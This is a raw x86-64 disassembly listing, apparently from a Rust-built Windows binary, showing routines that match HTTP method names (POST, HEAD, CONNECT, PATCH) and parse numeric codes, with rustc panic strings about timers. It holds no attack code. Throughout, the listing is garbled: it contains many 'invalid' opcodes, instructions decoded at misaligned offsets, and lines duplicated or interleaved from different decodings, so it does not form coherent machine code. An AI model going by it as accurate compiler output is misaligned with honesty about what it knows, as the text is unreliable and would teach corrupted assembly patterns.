mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
add rsp, 0x28
jmp r9
lea rcx, str.internal_error:_entered_unreachable_code_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_srccollections_vec_dequemod.rsmark_pending_called_when_the_timer_entry_is_in_an_invalid_state
lea r8, [0x140145da0]
mov edx, 0x28
sub byte [rax], al
add byte [rax], al
invalid
sub byte [rax], al
add byte [rax], al
invalid
add al, ch
mov bl, 0xc5
str esp
add ah, cl
call fcn.140122660
int3
add ah, cl
int3
cmp eax, 1
je 0x14002617f
cmp eax, 2
jne 0x1400261bc
test ecx, esi
add byte [rax], al
invalid
test ecx, esi
add byte [rax], al
add byte [rdi], cl
mov dh, 2
movzx eax, byte [rdx]
cmp al, 2
jne 0x140026198
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + rcx*4 + 0x41], cl
mov eax, dword [rcx + 8]
mov rax, qword [r8 + 0x10]
invalid
invalid
mov r8, qword [rcx + 8]
mov eax, dword [rcx + 8]
mov rax, qword [r8 + 0x10]
mov rcx, qword [rdx + 8]
or byte [rax + 0x3b], cl
adc byte [r15], cl
invalid
mov al, 0
add byte [rax], al
or byte [rax + 0x3b], cl
adc byte [r15], cl
test dword [rax + 0x48000000], esi
invalid
test rax, rax
test eax, eax
je 0x1400261ad
mov rcx, qword [rcx + 8]
mov rdx, qword [r8 + 8]
mov edx, dword [rax + 8]
mov edx, dword [rax + 8]
movzx r8d, byte [rdx]
movzx r9d, byte [rcx]
lea r10d, [r8 - 0x41]
push rax
mov edi, 0x1afa8041
cli
invalid
push rax
mov edi, 0x1afa8041
cli
invalid
cli
sbb al, byte [rcx + 0xf]
xchg edx, eax
ret 0xc041
setb r10b
shl r10b, 5
add eax, 0xbf598d45
add eax, 0xbf598d45
cmp r11b, 0x1a
setb r11b
sbb al, byte [rcx + 0xf]
xchg edx, eax
ret
shl r11b, 5
or r10b, r8b
or r11b, r9b
cmp r10b, r11b
jne 0x14002619c
lea r9, [rax - 1]
xor r8d, r8d
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x39], cl
sal dword [rsp + rbp*2 + 0x46], 0xf
mov dh, 0x54
push rsp
cmp r9, r8
je 0x1400261b1
movzx r10d, byte [rdx + r8 + 1]
push rsp
add al, byte [rcx]
movzx r11d, byte [rcx + r8 + 1]
lea esi, [r10 - 0x41]
add dword [rcx - 0x73], eax
jb case.0x140016398.1276
cmp sil, 0x1a
setb bl
shl bl, 5
lea esi, [r11 - 0x41]
mov edi, 0x1afe8040
mov edi, 0x1afe8040
setb sil
shl sil, 5
or bl, r10b
or sil, r11b
inc r8
cmp bl, sil
je 0x140026140
ret
ret
jmp 0x1400261b4
movzx eax, byte [rdx]
cmp al, 1
jne 0x140026198
movzx edx, byte [rdx + 1]
cmp byte [rcx + 1], 0
je 0x1400261a5
add dword [rax + 0x74000179], eax
adc eax, 0xd28401b0
mov al, 1
test dl, dl
je 0x14002619c
jmp 0x14002619e
test al, al
je 0x1400261bc
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov al, 1
test dl, dl
jne 0x14002619c
jmp 0x14002619e
mov al, 1
jmp 0x14002619e
in eax, dx
in eax, dx
mov r8, rax
cmp r8, rax
setae al
jmp 0x14002619e
lea rcx, str.internal_error:_entered_unreachable_code_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_srccollections_vec_dequemod.rsmark_pending_called_when_the_timer_entry_is_in_an_invalid_state
lea ecx, str.internal_error:_entered_unreachable_code_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_srccollections_vec_dequemod.rsmark_pending_called_when_the_timer_entry_is_in_an_invalid_state
lea r8, [0x140145db8]
mov edx, 0x28
call fcn.140122660
int3
int3
hlt
insd dword [rdi], dx
movabs rdx, 0xec4502aa18e29328
add al, byte [rbp - 0x14]
add al, byte [rbp - 0x14]
ret
int3
sbb byte [rax - 0x73], cl
adc eax, 0x11fcd5
lea edx, str.MaxSizeReachedmax_size_reached
mov r8d, 0xe
jmp rax
add byte [rax - 1], cl
loopne 0x1400261e9
int3
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140145ef6]
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
jmp rax
int3
mov r8, qword [rdx + 0x10]
mov di, 0xffff
test r8, r8
ror byte [rdi], 0x84
jo 0x14002625c
add byte [rax], al
ror byte [rdi], 0x84
jo 0x14002625c
add byte [rax], al
add byte [rbx + rcx*4 + 0x4a], cl
or byte [rdi - 0x73], cl
sbb al, 1
mov r9, qword [rdx + 8]
lea r11, [r9 + r8]
lea rsi, [r9 + 1]
lea esi, [rcx + 1]
xor r10d, r10d
lea rbx, [0x14019298c]
jmp 0x14002628f
inc rsi
mov r10, rax
cmp r8, rax
je 0x1400263cd
add byte [rax], al
add byte [rax], al
lea rax, [r10 + 1]
movzx r14d, byte [rsi - 1]
movzx r15d, r14b
mov dh, 0xfe
mov dh, 0xfe
lea ebp, [r15 - 0x7b]
cmp ebp, 4
jb case.0x140016398.1154
add r15d, 0xffffffdf
cmp r15d, 0x1e
ja 0x1400262b9
invalid
movsxd r15, dword [rbx + r15*4]
add r15, rbx
add edi, ebx
add edi, ebx
jmp r15
out 0x45, eax
lea edx, [rsi - 0x61]
lea r10d, [r14 - 0x61]
cmp r10b, 0x1a
jb case.0x140016398.1154
lea r10d, [r14 - 0x24]
cmp r10b, 0x18
jb case.0x140016398.1154
and r14b, 0xe0
and dh, 0xe0
cmp r14b, 0x40
je case.0x140016398.1154
mov byte [rcx + 8], 0
mov qword [rcx], 0
mov rax, qword [rdx]
mov rax, qword [rax + 0x10]
adc byte [rax - 0x7d], cl
ret 0x4818
mov ecx, edx
mov rdx, r9
add rsp, 0x48
invalid
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
adc byte [rax - 0x7d], cl
ret 0x4818
invalid
jmp rax
cmp r10w, 0xffff
je 0x1400263cd
test al, al
add byte [rax], al
invalid
test al, al
add byte [rax], al
add byte [rcx + rdi - 0x22], cl
invalid
cmp rsi, r11
fidiv word [rbp + 0x16]
jne 0x140026328
invalid
mov edi, r10d
jmp 0x1400263cd
nop word [rax + rax]
invalid
inc rax
cmp r8, rax
je 0x140026312
movzx r11d, byte [r9 + rax]
movzx ebx, byte [rcx + rax]
cmp r11d, 0x21
je 0x140026320
cmp r11d, 0x3d
je 0x140026320
cmp eax, 0x8341e774
sti
and ecx, dword [rdi]
test byte [rcx + 0x41000000], dh
lea esi, [r11 - 0x24]
cmp r11d, 0x23
je 0x1400263f4
lea esi, [r11 - 0x24]
fadd qword [rax - 0x80]
invalid
cmp sil, 0x18
setae bl
add r11b, 0xc1
ret
rol dword [rcx - 0x80], 0xfb
setae r11b
test bl, r11b
ret
je 0x140026320
jmp 0x1400262d7
ror byte [rcx + 0x39], 1
sal byte [rsi + 0x5d], 0x4c
mov eax, dword [rdx]
mov r8, qword [rdx]
lea r9, [0x140145f08]
sti
adc dword [rax], eax
cmp r8, r9
setne r9b
lea r10, [0x140145f20]
cwde
sti
adc dword [rax], eax
cwde
sti
adc dword [rax], eax
cmp r8, r10
setne r8b
xchg ebp, eax
rol byte [rbp - 0x7c], 0xc1
xchg ebp, eax
rol byte [rbp - 0x7c], 0xc1
jne 0x1400263c9
lea r8, [rsp + 0x28]
mov rbx, rcx
mov ebx, ecx
mov ebx, ecx
retf
mov rcx, r8
mov rsi, rdx
mov r8, rax
call fcn.140007e90
sbb bh, dh
dec dword [rax - 0x73]
and al, 0x40
sbb bh, dh
dec dword [rax - 0x73]
and al, 0x40
mov rax, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
sub byte [rax - 0x75], cl
push rsp
and al, 0x30
mov r8, qword [rsp + 0x38]
call qword [rax + 0x10]
mov rcx, rbx
mov rdx, rsi
jmp 0x1400263cd
mov qword [rdx + 0x10], rax
adc byte [rdi], cl
adc byte [rdx], al
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rcx + 0x10], rax
mov rax, qword [rdx + 0x18]
mov qword [rcx + 0x18], rax
movups xmmword [rcx], xmm0
mov word [rcx + 0x20], di
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov edi, r10d
cmp r8, rax
ja 0x140026370
jmp 0x1400263cd
int3
or byte [rax], al
add byte [rax], al
mov rdx, rax
add rsp, 0x28
jmp r9
invalid
jle 0x140026513
add byte [rax], al
movzx eax, byte [rdx]
cmp eax, 0x48
je 0x14002677f
test byte [rdi + 2], ah
add byte [rax], al
cmp eax, 0x50
jne 0x140026799
cmp byte [rdx + 1], 0x4f
jne 0x140026799
cmp byte [rdx + 2], 0x53
jne 0x140026799
cmp byte [rdx + 3], 0x54
jne 0x140026799
mov byte [rcx], 2
jmp 0x140026e8a
cmp byte [rdx + 1], 0x45
jne 0x140026799
cmp byte [rdx + 2], 0x41
jne 0x140026799
cmp byte [rdx + 3], 0x44
jne 0x140026799
mov byte [rcx], 5
jmp 0x140026e8a
lea r8, [0x140146070]
movzx eax, byte [rax + r8]
test al, al
je case.0x1400264d8.0
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
test r9b, r9b
je case.0x1400264d8.0
invalid
add byte [rdi + rcx - 0x4a], al
push rdx
add al, byte [rdi + 0xf]
mov dh, 0x14
add al, byte [rbp - 0x7c]
ror byte [rdi], cl
test byte [rsi + rax - 0x49f10000], dh
push rdx
add eax, dword [rdx + 0xf]
mov dh, 0x14
movzx r10d, byte [rdx + 2]
movzx r10d, byte [r10 + r8]
test r10b, r10b
je case.0x1400264d8.0
movzx edx, byte [rdx + 3]
movzx edx, byte [rdx + r8]
add al, byte [rdx + rdx*8 + 0x6a3840f]
add byte [rax], al
add al, byte [rdx + rdx*8 + 0x6a3840f]
add byte [rax], al
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
mov byte [rcx + 3], r10b
mov byte [rcx + 4], dl
mov qword [rcx + 5], 0
mov dword [rcx + 0xc], 0
mov byte [rcx], 9
mov byte [rcx + 0x10], 4
jmp 0x140026e8a
add byte [rax], al
add byte [rax], al
cmp byte [rdx + 1], 0x4f
jne 0x140026839
cmp byte [rdx + 2], 0x4e
jne 0x140026839
cmp byte [rdx + 3], 0x4e
jne 0x140026839
cmp byte [rdx + 4], 0x45
jne 0x140026839
cmp byte [rdx + 5], 0x43
jne 0x140026839
cmp byte [rdx + 6], 0x54
jne 0x140026839
mov byte [rcx], 7
jmp 0x140026e8a
add byte [rax], al
add byte [rax], al
lea r8, [0x140146070]
movzx eax, byte [rax + r8]
test al, al
je case.0x1400264d8.0
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
movzx ecx, byte [rcx + rax]
test r9b, r9b
je case.0x1400264d8.0
movzx r10d, byte [rdx + 2]
movzx r10d, byte [r10 + r8]
test r10b, r10b
je case.0x1400264d8.0
movzx r11d, byte [rdx + 3]
movzx r11d, byte [r11 + r8]
test r11b, r11b
je case.0x1400264d8.0
fisttp dword [rdi]
test byte [rcx], al
invalid
movzx esi, byte [rdx + 4]
movzx ebx, byte [rsi + r8]
test bl, bl
je case.0x1400264d8.0
invalid
invalid
add byte [rax], al
invalid
movzx esi, byte [rdx + 5]
movzx esi, byte [rsi + r8]
movzx esi, byte [rsi + rax]
test sil, sil
je case.0x1400264d8.0
movzx edx, byte [rdx + 6]
movzx edx, byte [rdx + r8]
test dl, dl
je case.0x1400264d8.0
invalid
add byte [rax], al
add eax, 0x41880000
add dword [rax + rcx*4 + 0x49], eax
add al, byte [rax + rcx*4 + 0x51]
add eax, dword [rax + rcx*4 + 0x59]
mov byte [rcx + 4], r11b
mov byte [rcx + 5], bl
mov byte [rcx + 6], sil
add byte [rax], al
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
mov byte [rcx + 3], r10b
mov byte [rcx + 4], r11b
mov byte [rcx + 5], bl
mov byte [rcx + 6], sil
mov byte [rcx + 7], dl
mov qword [rcx + 8], 0
mov byte [rcx], 9
mov byte [rcx + 0x10], 7
jmp 0x140026e8a
invalid
invalid
add byte [rax], al
movabs dword [0x7545017a80000005], eax
invalid
jp 0x1400268eb
jne 0x1400268fb
jne 0x1400268fb
cmp byte [rdx + 2], 0x54
jne 0x1400268fb
mov byte [rcx], 1
jmp 0x140026e8a
lea r8, [0x140146070]
movzx eax, byte [rax + r8]
test al, al
je case.0x1400264d8.0
movzx r9d, byte [rdx + 1]
movzx ecx, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
test r9b, r9b
je case.0x1400264d8.0
movzx edx, byte [rdx + 2]
movzx edx, byte [rdx + r8]
test dl, dl
je case.0x1400264d8.0
invalid
add byte [rax], al
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
mov byte [rcx + 3], dl
mov qword [rcx + 4], 0
mov dword [rcx + 0xc], 0
mov byte [rcx], 9
mov byte [rcx + 0x10], 3
jmp 0x140026e8a
jne case.0x14001b1bb.387
jne case.0x14001b1bb.387
cmp byte [rdx + 2], 0x54
jne case.0x14001b1bb.387
cmp byte [rdx + 3], 0x43
jne case.0x14001b1bb.387
cmp byte [rdx + 4], 0x48
jne case.0x14001b1bb.387
mov byte [rcx], 8
jmp 0x140026e8a
lea r8, [0x140146070]
movzx eax, byte [rax + r8]
test al, al
je case.0x1400264d8.0
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r8]
or al, 1
add qword [rdi + 0xf], rax
mov dh, 0xc
or al, 1
test r9b, r9b
or al, 1
test r9b, r9b
je case.0x1400264d8.0
movzx r10d, byte [rdx + 2]
movzx r10d, byte [r10 + r8]
test r10b, r10b
je case.0x1400264d8.0
movzx r11d, byte [rdx + 3]
movzx r11d, byte [r11 + r8]
test r11b, r11b
je case.0x1400264d8.0
test dl, al
add al, 0
invalid
test dl, al
add al, 0
add byte [rdi], cl
mov dh, 0x52
add al, 0x42
movzx edx, byte [rdx + rax]
movzx edx, byte [rdx + 4]
movzx edx, byte [rdx + r8]
test dl, dl
je case.0x1400264d8.0
mov byte [rcx + 1], al
mov byte [rcx + 2], r9b
mov byte [rcx + 3], r10b
mov byte [rcx + 4], r11b
mov byte [rcx + 5], dl
mov qword [rcx + 6], 0
mov word [rcx + 0xe], 0
mov byte [rcx], 9
mov byte [rcx + 0x10], 5
jmp 0x140026e8a
add byte [rcx], dh
ror byte [rcx - 0x77], cl
sar bh, 0x15
sub al, 0x8a
adc byte [rax], al
mov byte [rdi], 0xb
jmp 0x140026e8a
add byte [rax], al
xor r15d, r15d
xor r12d, r12d
xor eax, eax
xor r11d, r11d
fcmovnb st(0), st(7)
and al, 0x30
add byte [rax], al
add byte [rax], al
xor r9d, r9d
xor ecx, ecx
xor ebx, ebx
xor edx, edx
sal byte [rcx], cl
div byte [rcx]
in eax, dx
sal byte [rcx], cl
div byte [rcx]
in eax, dx
mov dword [rsp + 0x64], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rbx + rcx*4 + 0x6c], al
and al, 0x64
mov r13d, dword [rsp + 0x64]
mov byte [rcx + 1], r13b
mov byte [rcx + 2], bpl
mov byte [rcx + 2], ch
mov byte [rcx + 3], sil
mov byte [rcx + 4], dl
mov byte [rcx + 5], bl
mov byte [rcx + 6], r9b
mov byte [rcx + 6], cl
mov byte [rcx + 7], r10b
mov byte [rcx + 8], dil
mov byte [rcx + 9], r14b
jno 0x140026a7a
or byte [rax + rcx*4 + 0x71], al
or dword [rax + rcx*4 + 0x79], eax
or al, byte [rax + rcx*4 + 0x61]
mov byte [rcx + 0xb], ah
mov byte [rcx + 0xc], al
invalid
invalid
mov byte [rcx + 0xa], r15b
mov byte [rcx + 0xb], r12b
mov byte [rcx + 0xb], ah
mov byte [rcx + 0xb], ah
mov byte [rcx + 0xc], al
mov byte [rcx + 0xd], r11b
pop rcx
invalid
pop rcx
or eax, 0x3024448b
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov byte [rcx + 0xe], al
mov byte [rcx + 0xf], 0
mov byte [rcx], 9
mov byte [rcx + 0x10], r8b
jmp 0x140026e8a
add byte [rax], al
add byte [rax], al
movzx r9d, byte [rdx + 1]
movzx r9d, byte [r9 + r11]
test r9b, r9b
leave
je case.0x1400264d8.0
mov dword [rsp + 0x28], r9d
cmp r8, 2
clc
add dh, byte [rbp + 0x2d]
sub byte [rcx - 0x7d], cl
clc
add dh, byte [rbp + 0x2d]
xor r10d, r10d
sal byte [rcx], cl
inc dword [rbp + 0x31]
test byte [rbp + 0x31], 0xff
xor edi, edi
xor edi, edi
xor r14d, r14d
xor r15d, r15d
xor edi, edi
xor edi, edi
inc dword [rbp + 0x31]
in al, 0x31
xor eax, eax
xor r11d, r11d
xor r12d, r12d
xor esp, esp
xor eax, eax
xor r11d, r11d
mov dword [rsp + 0x30], 0
xor r9d, r9d
xor ebx, ebx
xor edx, edx
xor esi, esi
mov ebp, dword [rsp + 0x28]
jmp case.0x14001b2de.488
inc dword [rdi + rcx - 0x4a]
push rdx
movzx r10d, byte [rdx + 2]
movzx r10d, byte [r10 + r11]
sbb al, byte [rbp - 0x7c]
invalid
add al, byte [rdi + 0xf]
mov dh, 0x14
sbb al, byte [rbp - 0x7c]
ror byte [rdi], cl
test byte [rdx + 0x44000003], dl
add eax, dword [rax]
add byte [rcx + rcx*4 + 0x54], al
and al, 0x2c
je case.0x1400264d8.0
add eax, dword [rax]
add byte [rcx + rcx*4 + 0x54], al
and al, 0x2c
mov dword [rsp + 0x2c], r10d
cmp r8, 3
jne case.0x140020051.443
invalid
xor r10d, r10d
xor edi, edi
xor r14d, r14d
xor r15d, r15d
xor edi, edi
xor r12d, r12d
xor eax, eax
xor r11d, r11d
fcmovnb st(0), st(7)
and al, 0x30
and al, 0x30
add byte [rax], al
add byte [rax], al
invalid
fcmovnb st(0), st(7)
and al, 0x30
and al, 0x30
and al, 0x30
add byte [rax], al
add byte [rax], al
invalid
add byte [rbp + 0x31], al
leave
xor r9d, r9d
xor ebx, ebx
xor edx, edx
mov esi, dword [rsp + 0x2c]
mov ebp, dword [rsp + 0x28]
insb byte [rdi], dx
and al, 0x28
insb byte [rdi], dx
and al, 0x28
jmp case.0x14001b2de.488
invalid
movzx esi, byte [rdx + 3]
movzx r10d, byte [rsi + r11]
test r10b, r10b
je case.0x1400264d8.0
mov dword [rsp + 0x3c], r10d
cmp r8, 4
jne 0x140026b7d
xor r10d, r10d
xor edi, edi
xor r14d, r14d
test byte [rbp + 0x31], 0xff
test byte [rbp + 0x31], 0xff
inc dword [rbp + 0x31]
in al, 0x31
xor eax, eax
xor r11d, r11d
xor r12d, r12d
xor eax, eax
xor r11d, r11d
mov dword [rsp + 0x30], 0
add byte [rax], al
add byte [rax], al
xor r9d, r9d
xor ebx, ebx
mov esi, dword [rsp + 0x2c]
je 0x140026b93
sub al, 0x8b
push rsp
and al, 0x3c
invalid
je 0x140026b93
sub al, 0x8b
push rsp
and al, 0x3c
invalid
mov ebp, dword [rsp + 0x28]
jmp case.0x14001b2de.488
movzx edi, byte [rdx + 4]
movzx r10d, byte [rdi + r11]
test r10b, r10b
je case.0x1400264d8.0
test al, bh
add al, byte [rax]
add byte [rax], al
test al, bh
add al, byte [rax]
invalid
add byte [rcx + rcx*4 + 0x54], al
and al, 0x40
mov dword [rsp + 0x40], r10d
cmp r8, 5
cmp r8, 5
add eax, 0x31453375
sal byte [rcx], cl
inc dword [rbp + 0x31]
test byte [rbp + 0x31], 0xff
xor edi, edi
jne 0x140026bcd
xor r10d, r10d
xor edx, edx
xor edi, edi
xor r14d, r14d
xor r15d, r15d
xor edi, edi
xor edi, edi
inc dword [rbp + 0x31]
in al, 0x31
xor r12d, r12d
xor eax, eax
rol byte [rbp + 0x31], 0xdb
rol byte [rbp + 0x31], 0xdb
mov dword [rsp + 0x30], 0
xor r9d, r9d
mov esi, dword [rsp + 0x2c]
sub al, 0x8b
push rsp
and al, 0x3c
sub al, 0x8b
push rsp
and al, 0x3c
cmp al, 0x8b
pop rsp
and al, 0x40
mov ebx, dword [rsp + 0x40]
mov ebp, dword [rsp + 0x28]
jmp case.0x14001b2de.488
invalid
invalid
invalid
movzx ebx, byte [rdx + 5]
movzx r9d, byte [rbx + r11]
sbb eax, dword [rbp - 0x7c]
leave
sbb eax, dword [rbp - 0x7c]
leave
je case.0x1400264d8.0
mov dword [rsp + 0x44], r9d
cmp r8, 6
cmp eax, 6
cmp eax, 6
jne 0x140026c07
xor r10d, r10d
xor edi, edi
xor r14d, r14d
xor r15d, r15d
xor r12d, r12d
xor eax, eax
xor r11d, r11d
mov dword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
and al, 0x30
add byte [rax], al
add byte [rax], al
jmp 0x140026c5b
movzx r14d, byte [rdx + 6]
movzx esi, byte [rdx + 6]
movzx r10d, byte [r14 + r11]
test r10b, r10b
je case.0x1400264d8.0
invalid
add byte [rcx + rcx*4 + 0x54], al
mov dword [rsp + 0x48], r10d
mov dword [rsp + 0x48], edx
and al, 0x48
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x50], rcx
xor byte [rax - 0x77], cl
and al, 0x50
mov qword [rsp + 0x58], r8
cmp r8, 7
jne 0x140026c75
invalid
xor r15d, edi
xor edi, edi
xor r14d, r14d
xor r15d, r15d
xor r12d, r12d
xor eax, eax
xor r11d, r11d
mov dword [rsp + 0x30], 0
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
pop rax
mov r10d, dword [rsp + 0x48]
mov esi, dword [rsp + 0x2c]
mov edx, dword [rsp + 0x3c]
mov ebx, dword [rsp + 0x40]
mov r9d, dword [rsp + 0x44]
mov ebp, dword [rsp + 0x28]
jmp case.0x14001b2de.488
mov rcx, qword [rsp + 0x30]
movzx ecx, byte [rcx + 7]
movzx edx, byte [rcx + r11]
movzx edx, byte [rcx + rbx]
adc al, 0x19
test dl, dl
mov rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
je case.0x1400264d8.0
mov dword [rsp + 0x4c], edx
cmp r8, 8
clc
or byte [rbp + 0x33], dh
clc
or byte [rbp + 0x33], dh
xor r14d, r14d
xor esi, esi
xor r15d, r15d
xor r12d, r12d
xor eax, eax
xor r11d, r11d
mov dword [rsp + 0x30], 0
mov rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov r10d, dword [rsp + 0x48]
mov esi, dword [rsp + 0x2c]
sub al, 0x8b
push rsp
and al, 0x3c
sub al, 0x8b
push rsp
and al, 0x3c
mov edi, dword [rsp + 0x4c]
jmp 0x140026c63
mov rcx, qword [rsp + 0x30]
movzx ecx, byte [rcx + 8]
movzx edx, byte [rcx + r11]
test dl, dl
mov rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
je case.0x1400264d8.0
mov dword [rsp + 0x60], edx
cmp r8, 9
jne 0x140026d06
xor r15d, r15d
xor r12d, r12d
xor eax, eax
jmp 0x140026d85
mov rcx, qword [rsp + 0x30]
movzx ecx, byte [rcx + 9]
movzx r15d, byte [rcx + r11]
test r15b, r15b
mov rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
je case.0x1400264d8.0
cmp r8, 0xa
jne 0x140026d34
xor r12d, r12d
xor eax, eax
jmp 0x140026d85
mov rcx, qword [rsp + 0x30]
movzx ecx, byte [rcx + 0xa]
movzx r12d, byte [rcx + r11]
mov dh, 0x24
sbb dword [rbp - 0x7c], eax
in al, 0x48
mov ecx, dword [rsp + 0x50]
and al, 0x50
mov dh, 0x24
sbb dword [rbp - 0x7c], eax
in al, 0x48
mov ecx, dword [rsp + 0x50]
and al, 0x50
and al, 0x50
mov r8, qword [rsp + 0x58]
je case.0x1400264d8.0
cmp r8, 0xb
jne 0x140026d5f
xor eax, eax
jmp 0x140026d85
mov rcx, qword [rsp + 0x30]
movzx ecx, byte [rcx + 0xb]
movzx eax, byte [rcx + r11]
test al, al
mov rcx, qword [rsp + 0x50]
push rax
push rax
mov r8, qword [rsp + 0x58]
je case.0x1400264d8.0
cmp r8, 0xc
jne 0x140026dd9
xor r11d, r11d
mov dword [rsp + 0x30], 0
mov rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov r10d, dword [rsp + 0x48]
mov esi, dword [rsp + 0x2c]
mov edx, dword [rsp + 0x3c]
mov edi, dword [rsp + 0x4c]
mov ebx, dword [rsp + 0x40]
mov r9d, dword [rsp + 0x44]
mov ebp, dword [rsp + 0x28]
mov r14d, dword [rsp + 0x60]
jmp case.0x14001b2de.488
mov rcx, qword [rsp + 0x30]
movzx ecx, byte [rcx + 0xc]
movzx r13d, byte [rcx + r11]
test r13b, r13b
mov rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
je case.0x1400264d8.0
cmp r8, 0xd
jne 0x140026e3d
mov dword [rsp + 0x30], 0
mov rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov r10d, dword [rsp + 0x48]
mov esi, dword [rsp + 0x2c]
mov edx, dword [rsp + 0x3c]
mov edi, dword [rsp + 0x4c]
mov ebx, dword [rsp + 0x40]
pop rsp
and al, 0x40
pop rsp
and al, 0x40
mov r9d, dword [rsp + 0x44]
mov ebp, dword [rsp + 0x28]
mov r14d, dword [rsp + 0x60]
mov esi, dword [rsp + 0x60]
mov esi, dword [rsp + 0x60]
mov r11d, r13d
jmp case.0x14001b2de.488
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
movzx ecx, byte [rcx + 0xd]
movzx ecx, byte [rcx + r11]
mov dword [rsp + 0x30], ecx
test cl, cl
mov rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
and al, 0x58
and al, 0x58
mov r10d, dword [rsp + 0x48]
mov esi, dword [rsp + 0x2c]
mov edx, dword [rsp + 0x3c]
push rsp
and al, 0x3c
push rsp
and al, 0x3c
mov edi, dword [rsp + 0x4c]
mov ebx, dword [rsp + 0x40]
mov r9d, dword [rsp + 0x44]
and al, 0x44
and al, 0x44
mov ebp, dword [rsp + 0x28]
mov r14d, dword [rsp + 0x60]
mov r11d, r13d
mov ebx, ebp
mov ebx, ebp
jne case.0x14001b2de.488
mov byte [rcx], 0xb
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
invalid
pop rdi
ret
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x11f125
mov r8d, 0xd
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140145fe5]
lea edx, [0x140145fe5]
lea edx, [0x140145fe5]
mov r8d, 0x13
jmp rax
jmp rax
jmp rax
mov qword [rcx + 0x10], r9
mov qword [rcx + 0x18], 0
lea rcx, [0x140146170]
lea ecx, [0x140146170]
lea ecx, [0x140146170]
mov qword [rax], rcx
ret
cmp edx, 3
jne 0x140026f36
movzx r8d, byte [rcx]
movzx edx, byte [rcx + 1]
add dl, 0xd0
movzx eax, byte [rcx + 2]
add al, 0xd0
lea ecx, [r8 - 0x3a]
cmp cl, 0xf7
setb cl
cmp dl, 0xa
setae r9b
cmp al, 0xa
setae r10b
or r10b, r9b
or r10b, cl
je 0x140026f39
invalid
add esi, dword [rcx]
rol bl, 0x41
add al, 0xd0
xor eax, eax
ret
add r8b, 0xd0
movzx ecx, r8b
imul ecx, ecx, 0x64
leave
movzx edx, dl
leave
movzx edx, dl
add edx, edx
lea edx, [rdx + rdx*4]
movzx edx, dl
add edx, ecx
movzx eax, al
add eax, edx
ret
int3
stc
wait
add dword [rax], eax
add byte [rdi], cl
xchg dword [rax], ebx
add eax, dword [rax]
add byte [rax - 0x73], cl
adc eax, 0x16bac5
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
invalid
loope 0x140026fcd
lea eax, [0x14015a377]
mov edx, 8
ret
ret
ret
ret
ret
adc eax, 0xc3000000
ret
lea rax, [0x1401466ef]
mov edx, 0x12
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
ret
add eax, 0xc3000000
lea rax, [0x140146515]
mov edx, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
ret
or byte [rax], al
add byte [rax], al
ret
mov edx, 8
ret
mov qword [rsp + 0x58], r9
mov r12, r8
mov r9, rax
movzx r8d, byte [r12 + r10]
lea rax, [r10 + 1]
mov qword [r14 + 0x10], rax
cmp r8d, 0xa
je 0x140027eff
cmp r8d, 0xd
je 0x140027f2f
cmp byte [r8 + r13], 1
jne 0x1400276f0
mov qword [rsp + 0x60], r9
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x68], r11
mov qword [rsp + 0x48], rcx
mov r11, rbx
sub r11, r10
add r11, 0xfffffffffffffffe
add r10, r12
add r10, 2
nop word cs:[rax + rax]
cmp rbx, rax
jbe 0x140027ecd
mov rsi, rax
mov r9, r11
mov r15, r10
movzx r8d, byte [r12 + rax]
inc rax
mov qword [r14 + 0x10], rax
dec r11
inc r10
cmp byte [r8 + r13], 0
jne 0x140027680
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdx
add qword [rsp + 0x60], rax
lea rdi, [r12 + rax]
sub rbx, rax
mov qword [r14 + 0x10], 0
mov qword [r14], rdi
mov qword [r14 + 8], rbx
